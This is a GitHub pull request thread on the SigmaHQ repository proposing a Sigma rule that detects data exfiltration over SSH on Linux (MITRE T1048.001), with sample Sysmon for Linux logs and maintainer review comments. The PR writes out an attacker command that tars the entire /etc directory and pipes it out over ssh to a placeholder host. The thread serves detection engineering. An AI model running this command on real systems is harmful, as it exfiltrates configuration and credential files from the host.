Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Exfiltration Over Alternative Protocol - Linux #5035

Open
wants to merge 10 commits into
base: master
Choose a base branch
from

Conversation

CheraghiMilad
Copy link
Contributor

When examining the Exfiltration Over Alternative Protocol technique, an attacker can use the scp command in Linux to dump OS credentials. According to the log generated by Sysmon for Linux, the following log entries are produced when the scp command is executed.

sample sysmon for linux log:
Oct 6 18:33:59 ubuntu sysmon: 154100x80000000000000004341Linux-Sysmon/Operationalubuntu-2024-10-06 15:03:59.763{7855304e-m6df-6702-f11a-ft3e65590000}13439/usr/bin/ssh-----ssh target.example.com (cd /etc && tar -zcvf - *)/tmproot{78a6704r-0000-0000-0000-000000000000}04294967295no levelSHA256=950fcc37f70c18932935e0e1b1cavfsdsbfd278c60f1cfeb2d4ceb9d642073ff{78a6384e-a6df-6702-9569-a9a24d590000}13437/usr/bin/dashshroot

Based on the log details, it can be assessed that if the image equals scp and the command lines include details from Linux compressors, it can be monitored as a specific rule.

Summary of the Pull Request

Changelog

Example Log Event

Fixed Issues

SigmaHQ Rule Creation Conventions

  • If your PR adds new rules, please consider following and applying these conventions

When examining the Exfiltration Over Alternative Protocol technique, an attacker can use the scp command in Linux to dump OS credentials. According to the log generated by Sysmon for Linux, the following log entries are produced when the scp command is executed.

sample sysmon for linux log:
Oct  6 18:33:59 ubuntu sysmon: <Event><System><Provider Name="Linux-Sysmon" Guid="{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"/><EventID>1</EventID><Version>5</Version><Level>4</Level><Task>1</Task><Opcode>0</Opcode><Keywords>0x8000000000000000</Keywords><TimeCreated SystemTime="2024-10-06T15:03:59.774949000Z"/><EventRecordID>4341</EventRecordID><Correlation/><Execution ProcessID="11362" ThreadID="11362"/><Channel>Linux-Sysmon/Operational</Channel><Computer>ubuntu</Computer><Security UserId="0"/></System><EventData><Data Name="RuleName">-</Data><Data Name="UtcTime">2024-10-06 15:03:59.763</Data><Data Name="ProcessGuid">{7855304e-m6df-6702-f11a-ft3e65590000}</Data><Data Name="ProcessId">13439</Data><Data Name="Image">/usr/bin/ssh</Data><Data Name="FileVersion">-</Data><Data Name="Description">-</Data><Data Name="Product">-</Data><Data Name="Company">-</Data><Data Name="OriginalFileName">-</Data><Data Name="CommandLine">ssh target.example.com (cd /etc &amp;&amp; tar -zcvf - *)</Data><Data Name="CurrentDirectory">/tmp</Data><Data Name="User">root</Data><Data Name="LogonGuid">{78a6704r-0000-0000-0000-000000000000}</Data><Data Name="LogonId">0</Data><Data Name="TerminalSessionId">4294967295</Data><Data Name="IntegrityLevel">no level</Data><Data Name="Hashes">SHA256=950fcc37f70c18932935e0e1b1cavfsdsbfd278c60f1cfeb2d4ceb9d642073ff</Data><Data Name="ParentProcessGuid">{78a6384e-a6df-6702-9569-a9a24d590000}</Data><Data Name="ParentProcessId">13437</Data><Data Name="ParentImage">/usr/bin/dash</Data><Data Name="ParentCommandLine">sh</Data><Data Name="ParentUser">root</Data></EventData></Event>
@github-actions github-actions bot added Rules Linux Pull request add/update linux related rules labels Oct 6, 2024
Copy link
Contributor

@github-actions github-actions bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Welcome @CheraghiMilad 👋

It looks like this is your first pull request on the Sigma rules repository!

Please make sure to read the SigmaHQ conventions document to make sure your contribution is adhering to best practices and has all the necessary elements in place for a successful approval.

Thanks again, and welcome to the Sigma community! 😃

@nasbench
Copy link
Member

nasbench commented Oct 6, 2024

Hey @CheraghiMilad and thanks for the contribution.

Quick question regarding this rule. You're mentioning SCP but yet I don't see it in the logic. Is the command you mentioned executed by SCP when you tried to copy something? If its the case then, i have a couple of questions/request

  • What's the SCP command in itself?
  • Does SCP showup as a parent of SSH
  • If this is the default command then it should be excluded in a generic form because its a legitimate execution.

Please take these into account and provide a response and the appropriate fixes

@nasbench nasbench added Work In Progress Some changes are needed Author Input Required changes the require information from original author of the rules labels Oct 6, 2024
@nasbench nasbench self-assigned this Oct 6, 2024
@CheraghiMilad
Copy link
Contributor Author

Hi @nasbench
Yes, the mistake was on my part in naming; I was working on two rules simultaneously, which caused this error. If you change the name to SSH instead of SCP, the issue will be resolved.

Based on the lab I set up, after extracting data using technique 1048.001 of the MITRE ATT&CK framework, we can identify this case through the logs produced by sysmon-for-linux.

Change mistake in naming of file and description.
Scp Chang to ssh
@CheraghiMilad
Copy link
Contributor Author

Hey @nasbench
Do you need more information for merge?

@nasbench
Copy link
Member

nasbench commented Oct 9, 2024

Hey @nasbench Do you need more information for merge?

You still haven't answered all of my questions.

@CheraghiMilad
Copy link
Contributor Author

CheraghiMilad commented Oct 9, 2024

Hey @CheraghiMilad and thanks for the contribution.

Quick question regarding this rule. You're mentioning SCP but yet I don't see it in the logic. Is the command you mentioned executed by SCP when you tried to copy something? If its the case then, i have a couple of questions/request

  • What's the SCP command in itself?
  • Does SCP showup as a parent of SSH
  • If this is the default command then it should be excluded in a generic form because its a legitimate execution.

Please take these into account and provide a response and the appropriate fixes

Well, as I mentioned, there was a writing error on my part. This rule is for technique T1048.001, which allows monitoring any data extraction from the network via the SSH protocol and issuing alerts for it.

The attacker uses the following command to extract data:
ssh #{domain} "(cd /etc && tar -zcvf - *)" > ./etc.tar.gz

This command, when sysmon-for-linux is active, results in the following log:
Screenshot 2024-10-06 205649

Regarding your third question, if I want to remove the rule from general mode, we can update the rule specifically to exclude sensitive data such as the contents of files like /etc/passwd and /etc/shadow..

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Author Input Required changes the require information from original author of the rules Linux Pull request add/update linux related rules Rules Work In Progress Some changes are needed
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants